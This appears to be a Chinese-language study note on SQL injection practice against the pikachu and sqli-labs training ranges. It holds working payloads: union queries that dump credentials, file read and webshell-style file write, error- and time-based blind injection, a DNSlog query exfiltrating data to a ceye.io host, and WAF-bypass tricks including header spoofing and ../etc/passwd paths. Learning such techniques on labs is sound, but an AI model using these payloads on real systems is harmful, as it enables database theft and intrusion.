function my_dir($dir) {
$files = [];
if(@$handle = opendir($dir)) {
while(($file = readdir($handle)) !== false) {
if($file != ".." && $file != ".") {
if(is_dir($dir . "/" . $file)) {
//如果是子文件夹,进行递归
$files[$file] = my_dir($dir . "/" . $file);
} else {
$files[] = $file;
}
}
}
closedir($handle);
}
return $files;
}
echo ""
;
print_r(my_dir("./"));
echo "
";
如果报错:PHP Parse error: syntax error, unexpected ‘[’ in /usercode/file.php on line 4,切换到拍php 5.4 及以上版本就可以了
https://github.com/zhuifengshaonianhanlu/pikachu------靶场
pikachu靶场笔记
1. 环境搭建&暴力破解
2. pikachu靶场&XSS(二)
3. pikachu靶场&CSRF&SQL注入(三)
4. pikachu靶场&RCE&文件包含&上传下载&越权(四)
5. pikachu靶场&目录遍历&信息泄露&反序列化&XXE&重定向&SSRF(五)
sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。
如果代码中没有过滤或者过滤不严谨是会出现漏洞的。
判断注入
and 1=1 正常
and 1=2 错误
可能存在注入,其实归根结底就是看我们的输入会不会对网站造成影响,即我们的操作有效
补充:order by和group by的区别
order by 默认是升序
information_schema
的数据库,它记录着所有的数据库,表明,列名。select * information_schema.tables;
记录所有表名where table_name=''
筛选条件select * from information_schema.columns;
记录所有的列名where column_name=''
筛选条件wherw table_schema=''
筛选条件信息收集
127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
爆出所有数据库127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'
获取特定数据库表名127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'
获取特定数据库特定表列数据http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users
查询user的数据文件读写操作
load_file():读取函数
into outfile或iinto dumpfile:导出函数
获取路径的常见方法
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等、
http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3
读取本地文件
http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,%20%27x%27%20,3%20into%20outfile%20%27D:\\x.php%27%20--+
本地文件写入
参考:magic_quotes_gpc(魔术引号开关)等函数与数据库安全
在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
#简要明确参数类型
数字,字符,搜索,JSON等
数字可以直接加在sql中
字符就要通过单双引号接入sql语句中
#简要明确请求方法|
GET, POST, COOKIE, REQUEST, HTTP头等
其中SQI语句干扰符号: ', ", %, ), } 等,具体需看写法
'"]})可以作为默认测试写法
简要学习各种数据库的注入特点
Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase等
Access数据库放在网站下
数据库架构组成,数据库高权限操作
简要学习各种注入工具的使用指南
熟悉工具的支持库,注入模式,优缺点等
Sqlmap, NoSQLAttack, Pangolin等
access结构
表名
列名
数据
mysql、mssql等
数据库A
表名
列名
数据
数据库B
。。。
。。。
。。。
NoSQL Attack 支持此数据库的注入测试,它运行在linux下
https://www.cnblogs.com/xishaonian/p/6173644.html
https://www.cnblogs.com/bmjoker/p/9326258.html
https://github.com/youngyangyang04/NoSQL Attack linux环境下支持MongoDB的工具,P14
https://github.com/sqlmapproject/sqlmap
https://blog.csdn.net/qq_39936434/category_9103379.html
https://blog.csdn.net/hack8/article/details/6427911
当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。
select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id
insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url, text) values (2, 'x','$t')
delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id
update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username= 'admin'
order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id, name, price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式
pikachu漏洞练习平台
SQL注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断
regexp, like, ascii, left, ord, mid
基于时间的SQL盲注-延时判断
if, sleep
基于报错的SQL盲注-报错回显
floor, updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c
参考:
like 'ro%' #判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立返回5反之返回0
sleep(5) #sQI语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database ()名的长度
ord=ascii ascii(x)=97 #判断x的asci i码是否等于97
Payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
pikachu update
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit
pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))
这四个位置都会接收我们传过去的数值,正常都可以作为注入点,只要可以对测试代码作出反应就可以。
mysql_fetch_array
:无回显函数
SQL注入
延时盲注:利用 and 链接正确语句,让if判断脚本对错,两个联合起来再通过时间来给出反馈,判断脚本是否执行正确。
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1))=101,sleep(3),0)--+
ccess偏移注入:解决列名获取不到的情况
查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况
https://www.jianshu.com/p/bc35f8dd4f7c
https://www.jianshu.com/p/fcae21926e5c
DNSlog:解决了盲注不能回显数据,效率低的问题
mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);Empty set (21.14 sec)
将url和注入语句分开
<?php
$url='http://xxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$ur1.Spayload;
file_get_contents($urls);
echo $urls;
?>
http:/ceye.io/
https://github.com/ADOOO/DnslogSqlinj
堆叠注入
特殊符号
安全狗拦截
用来绕过安全狗waf
%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格
用来分割语句的符号
/*!*/
原理
安全狗检测渗透脚本是采用整体验证,例如:unint select 这个整体
可以使用以上方法,使用unint/*!*/select可不触发waf
如果出现多个相同参数,不同的服务器搭建网站会出现参数接受的差别,从而令原有的参数失效。
https://www.cnblogs.com/backlion/p/9721687.html
https://blog.csdn.net/nzjdsds/article/details/93740686
方式一:IP白奖单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别
方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。
方式四:爬虫白名单
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent
2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。User Agent switcher (Firefox附加组件),下载地址:
https : //addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
payload
%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格
%23x%0aunion%23x%0Aselect%201,2,3
%20union%20/*!44509select*/%201,2,3 /*!44509select*/:通过插入版本号(4.45.09),绕过检测机制
%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/ 特殊符号
%20union%20all%23%0a%20select%201,2,3%23
有时注入语句没有问题,但是就是注入进不去,可能WAF检测了注入工具
解决方法:
思路一:采用salmap的随机agent头方法
扩展一:有的WAF检测的是其他字段,可以使用burp抓包进行替换这个字段,来进行绕过。(只是修改一个)
扩展二:将注入语句生成txt文件,放在sqlmap目录下跑。(可以支持跑多个)